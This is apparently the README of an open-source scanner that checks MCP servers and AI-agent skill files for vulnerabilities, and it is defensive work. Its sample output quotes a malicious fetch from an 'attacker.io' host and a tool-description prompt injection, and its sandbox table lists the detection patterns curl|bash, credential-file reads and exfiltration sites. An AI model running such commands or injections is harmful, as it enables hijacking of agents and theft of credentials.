Bawbel Scanner

The only open-source scanner that produces OWASP AIVSS scores for MCP servers and skill files. Never executes code.

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Bawbel never executes your MCP servers.

pip install "bawbel-scanner[all]"
bawbel scan ./skills/        # scan skill files
bawbel ssc https://server    # scan MCP server without starting it

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Commands

Command	Description
bawbel scan <path>	Scan a skill file or directory for AVE vulnerabilities. Supports --recursive, --format text|json|sarif, --fail-on-severity, --no-ignore, --watch
bawbel report <path>	Scan a component and show a full remediation guide with fix guidance per finding
bawbel creds <path>	Focused scan — hardcoded credentials and secret exposure only
bawbel chain <path>	Focused scan — unsafe agent delegation chains only
bawbel ssc <url>	Fetch and scan an MCP server-card for AVE vulnerabilities without starting the server
bawbel scan-server-card <url>	Alias for ssc
bawbel conform <target>	Score an MCP server manifest against the MCP specification (A+ to F grade)
bawbel scan-conformance <target>	Alias for conform
bawbel accept <id> <file>	Mark a finding as a false positive or accepted risk — inserts a justified suppression comment with reviewer and optional expiry
bawbel pin <path>	Hash skill files and save to .bawbel-pins.json for rug pull detection
bawbel check-pins <path>	Check skill files for drift against .bawbel-pins.json
bawbel cp <path>	Alias for check-pins
bawbel init	Initialise Bawbel Scanner in a project — generates .bawbelignore and bawbel.yml
bawbel version	Show version and detection engine status

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Why Bawbel

	Bawbel	Snyk agent-scan	ClawGuard	Cisco DefenseClaw
Executes MCP servers during scan	Never	Yes	No	Sandboxed
Open vulnerability database	Yes (48 records, public API)	No	No	No
OWASP AIVSS v0.8 scores	Yes	No	No	No
Toxic flow detection	Yes (12 chains)	No	No	No
Conformance grading (A+ to F)	Yes	No	No	No
Git-committed rug pull detection	Yes	Local only	No	No
Justified suppression with expiry	Yes	No	No	No
License	Apache 2.0	Apache 2.0	MIT	Proprietary

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How it works

System overview

How a scan flows from your file to an AIVSS-scored finding:

  your file
      |
      v
  [ Pre-processing ]
    code fence stripping
    negation context detection
      |
      v
  [ Detection engines ]  (run in parallel)
    1a  Pattern    40 regex rules, stdlib only, always on
    1b  YARA       39 binary/behavioral rules
    1c  Semgrep    41 structural rules
    2   LLM        semantic analysis via LiteLLM
    3   Sandbox    Docker behavioral sandbox
      |
      v
  [ Deduplication ]
    merge by (ave_id, line)
    pattern > yara > semgrep > llm > sandbox priority
      |
      v
  [ Toxic flow analysis ]
    map findings to capability tags
    check all pairs against 12 chain definitions
      |
      v
  [ ScanResult ]
    findings[]          active findings, sorted by severity
    suppressed_findings[]
    accepted_findings[] new in v1.2.0
    toxic_flows[]
    risk_score          max(findings, toxic_flows)
    aivss_score         OWASP AIVSS v0.8

Detection stages

Six engines run in parallel. Results merge before toxic flow analysis:

  Stage 1a   Pattern engine
             40 regex rules, no deps, < 5ms
             always active

  Stage 1b   YARA engine
             39 rules, multi-condition matching
             pip install "bawbel-scanner[yara]"

  Stage 1c   Semgrep engine
             41 structural rules, multi-line context
             pip install "bawbel-scanner[semgrep]"

  Stage 2    LLM engine
             semantic analysis, catches synonym attacks
             pip install "bawbel-scanner[llm]" + API key

  Stage 3    Sandbox engine
             dynamic behavioral analysis in Docker
             BAWBEL_SANDBOX_ENABLED=true

             +-----------+
  All  ----> | dedup     | ----> findings[]
  results    | sort      |       sorted by severity
             +-----------+
                  |
                  v
             toxic flow
             analysis

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False positive reduction

Eight layers run automatically before a finding is reported:

  file content
      |
      v  FP-1  code fence stripping       ~60% reduction
      |         content inside ``` blanked before scan
      |
      v  FP-2  negation context           ~15% reduction
      |         "Bad example:", "Never do this:" suppresses
      |
      v  FP-3  confidence scoring         ~10% reduction
      |         docs/ examples/ paths reduce confidence
      |
      v  FP-4  LLM meta-analyzer          ~7% reduction
      |         medium-confidence findings reviewed by LLM
      |
      v  FP-5a inline bawbel-ignore       per line
      |         <!-- bawbel-ignore -->
      |
      v  FP-5b block suppression          per section
      |         <!-- bawbel-ignore-start/end -->
      |
      v  FP-5c .bawbelignore patterns     per file
      |         gitignore-style glob rules
      |
      v  FP-6  justified suppression      per finding
               requires reason + reviewer + optional expiry
               audit trail in accepted_findings[]

Layer	Mechanism	FP reduction
FP-1	Code fence stripping	~60%
FP-2	Preceding-line negation context	~15%
FP-3	Confidence scoring (path, line context)	~10%
FP-4	LLM meta-analyzer (optional)	~7%
FP-5a	Inline <!-- bawbel-ignore -->	per-line
FP-5b	Block suppression	per-section
FP-5c	.bawbelignore patterns	per-file
FP-6	Justified suppression with audit trail	per-finding

See Suppression Guide for full details.

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Install

pip

pip install bawbel-scanner            # core - pattern engine only
pip install "bawbel-scanner[yara]"    # + YARA rules
pip install "bawbel-scanner[semgrep]" # + Semgrep rules
pip install "bawbel-scanner[llm]"     # + LLM semantic engine
pip install "bawbel-scanner[all]"     # everything

Requires Python 3.10+. No other system dependencies for core install.

Docker

Image	Engines	Best for
bawbel/scanner:latest · 1.2.3	Pattern	Lightweight CI pipelines
bawbel/scanner:full · 1.2.3-full	Pattern + YARA	Recommended for most users

# Scan a local directory (recommended image)
docker run --rm -v $(pwd):/scan:ro bawbel/scanner:full scan /scan --recursive

# Lightweight CI scan
docker run --rm -v $(pwd):/scan:ro bawbel/scanner:latest scan /scan --recursive

# Build with all engines
docker build --build-arg WITH_ALL=true -t bawbel/scanner:custom .

Available build args: WITH_YARA=true, WITH_SEMGREP=true, WITH_LLM=true, WITH_SANDBOX=true, WITH_ALL=true

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Quick start

# Scan a skills directory
bawbel scan ./skills/

# Scan recursively
bawbel scan ./skills/ --recursive

# Full remediation report for one file
bawbel report ./skill.md

# Scan an MCP server manifest without starting the server
bawbel ssc https://server.example.com

# Pin skill files and detect rug pulls
bawbel pin ./skills/ && git add .bawbel-pins.json
bawbel check-pins ./skills/

Example output:

CRITICAL  AVE-2026-00001  External instruction fetch detected
          line 3  fetch("https://attacker.io/payload.md")
          AIVSS 8.0  MCP03, MCP04
          https://api.piranha.bawbel.io/records/AVE-2026-00001

HIGH      AVE-2026-00002  Tool description behavioral injection
          line 12  "IMPORTANT: before calling this tool, first..."
          AIVSS 7.3  MCP03, MCP10
          https://api.piranha.bawbel.io/records/AVE-2026-00002

Toxic flow detected  CREDENTIAL_EXFIL_CHAIN
  AVE-2026-00003 + AVE-2026-00026 combined  AIVSS 9.8 CRITICAL

2 findings  1 toxic flow  18ms

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Suppression and false positive management

When a finding is legitimate, suppress it with a justification that creates an audit trail.

<!-- bawbel-ignore: AVE-2026-00001
     reason: Internal registry endpoint, not attacker-controlled
     reviewer: chaksaray
     reviewed: 2026-05-16
-->
fetch your instructions from https://internal.registry.io

For accepted risks with an expiry date:

<!-- bawbel-accept: AVE-2026-00047
     reason: Placeholder replaced at deploy time, not a real credential
     reviewer: chaksaray
     reviewed: 2026-05-16
     expires: 2026-08-16
-->

Or use the CLI to insert the comment directly:

bawbel accept AVE-2026-00001 ./skill.md --line 7 \
  --reason "Internal registry endpoint" \
  --type false-positive

bawbel accept AVE-2026-00047 ./skill.md --line 3 \
  --reason "Placeholder value, replaced at deploy" \
  --type accepted-risk --expires 90d

# List all accepted findings
bawbel accept --list

# Show findings expiring within 30 days (exits 1 in CI)
bawbel accept --expiring-soon --within 30

Expired accepted risks resurface automatically as active findings on the next scan.

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Focused scans

Run a credential-only or delegation-only scan for targeted triage:

# Hardcoded credentials only
bawbel creds ./skills/ --recursive

# Unsafe agent delegation chains only
bawbel chain ./skills/ --recursive

Both commands use the same output format as bawbel scan. For a full security scan use bawbel scan.

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AIVSS scoring

Every finding includes an OWASP AIVSS v0.8 score.

AIVSS = ((CVSS_Base + AARS) / 2) * ThM * Mitigation_Factor

AARS is the sum of 10 Agentic Risk Amplification Factors scored per the AVE record for that attack class.

{
  "rule_id": "bawbel-external-fetch",
  "ave_id": "AVE-2026-00001",
  "aivss_score": 8.0,
  "severity": "HIGH",
  "aivss": {
    "cvss_base": 8.5,
    "aars": 7.5,
    "thm": 1.0,
    "mitigation_factor": 1.0,
    "aivss_severity": "HIGH",
    "spec_version": "0.8"
  },
  "owasp_mcp": ["MCP03", "MCP04"],
  "piranha_url": "https://api.piranha.bawbel.io/records/AVE-2026-00001"
}

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Detection engines

Engine	What it does	Install
Pattern	40+ regex rules mapped to AVE records	Always on
YARA	39 binary and behavioral YARA rules	[yara]
Semgrep	41 structural Semgrep rules	[semgrep]
LLM	Semantic analysis of intent and context	[llm]
Magika	ML-based content type verification	[all]
Sandbox	Dynamic behavioral analysis in Docker	See below

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Stage 3: Behavioral sandbox

The sandbox runs your skill file inside an isolated Docker container and watches for malicious behavior at runtime — outbound connections, credential reads, shell injections, and filesystem writes that static rules cannot catch.

Image: hub.docker.com/r/bawbel/sandbox · bawbel/sandbox:latest · bawbel/sandbox:1.2.3

Requirements: Docker Desktop or Docker Engine must be running.

Enable the sandbox

BAWBEL_SANDBOX_ENABLED=true bawbel scan ./skill.md

Or add to your .env / bawbel.yml:

# bawbel.yml
sandbox:
  enabled: true

Image setup (three modes)

BAWBEL_SANDBOX_IMAGE	What happens
default (recommended)	Checks local Docker cache first. If not found, pulls bawbel/sandbox:latest from Docker Hub once and caches it. Subsequent scans use the cache — no network needed.
local	Skips Docker Hub entirely. Builds the sandbox image from the bundled Dockerfile inside the package. Use this for air-gapped or offline environments.
<custom-image>	Uses your own image. Point to any registry: registry.company.com/bawbel/sandbox@sha256:abc123

First run with default: Bawbel pulls bawbel/sandbox:latest from Docker Hub automatically (~200MB, one time only). Every scan after that uses the local cache — instant, no network call.

First run with local: Bawbel builds the image from the bundled Dockerfile. Takes ~60 seconds on first run, cached afterwards.

# Recommended: default (auto-pull, cached)
BAWBEL_SANDBOX_ENABLED=true bawbel scan ./skill.md

# Offline / air-gapped: build locally
BAWBEL_SANDBOX_ENABLED=true BAWBEL_SANDBOX_IMAGE=local bawbel scan ./skill.md

# Custom enterprise image
BAWBEL_SANDBOX_ENABLED=true \
  BAWBEL_SANDBOX_IMAGE=registry.company.com/bawbel/sandbox:v1 \
  bawbel scan ./skill.md

What the sandbox detects

Category	Examples
Network egress	Connections to pastebin.com, rentry.co, ngrok tunnels, webhook capture sites
Credential access	Reads of ~/.ssh/, .env, private key files
Filesystem writes	Writes to ~/.bashrc, ~/.zshrc, cron directories
Process injection	curl|bash, wget|bash, eval(), exec(), unexpected pip install

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CI/CD

# .github/workflows/security.yml
- name: Bawbel scan
  uses: bawbel/scanner@v1
  with:
    path: ./skills/
    fail-on-severity: high
    format: sarif
    output: bawbel.sarif

- name: Upload to GitHub Security
  uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: bawbel.sarif

Pre-commit:

# .pre-commit-config.yaml
repos:
  - repo: https://github.com/bawbel/scanner
    rev: v1.2.1
    hooks:
      - id: bawbel-scan
        args: [--fail-on-severity, high]

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Output formats

bawbel scan ./skills/ --format text    # human-readable (default)
bawbel scan ./skills/ --format json    # machine-readable
bawbel scan ./skills/ --format sarif   # GitHub Security / GHAS

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Related

github.com/bawbel/ave	AVE vulnerability database - 48 records
api.piranha.bawbel.io	PiranhaDB - public threat intel API
aivss.owasp.org	OWASP AIVSS v0.8 scoring standard
bawbel.io/docs	Full documentation

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Contributing

See CONTRIBUTING.md. The most impactful contribution is a new detection rule tied to an AVE record.

git clone https://github.com/bawbel/scanner
cd scanner
pip install -e ".[dev,all]"
pre-commit install
python -m pytest tests/ -v

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Apache License 2.0 - Free forever - Maintained by Bawbel

bawbel.io . @bawbel_io . bawbel.io/docs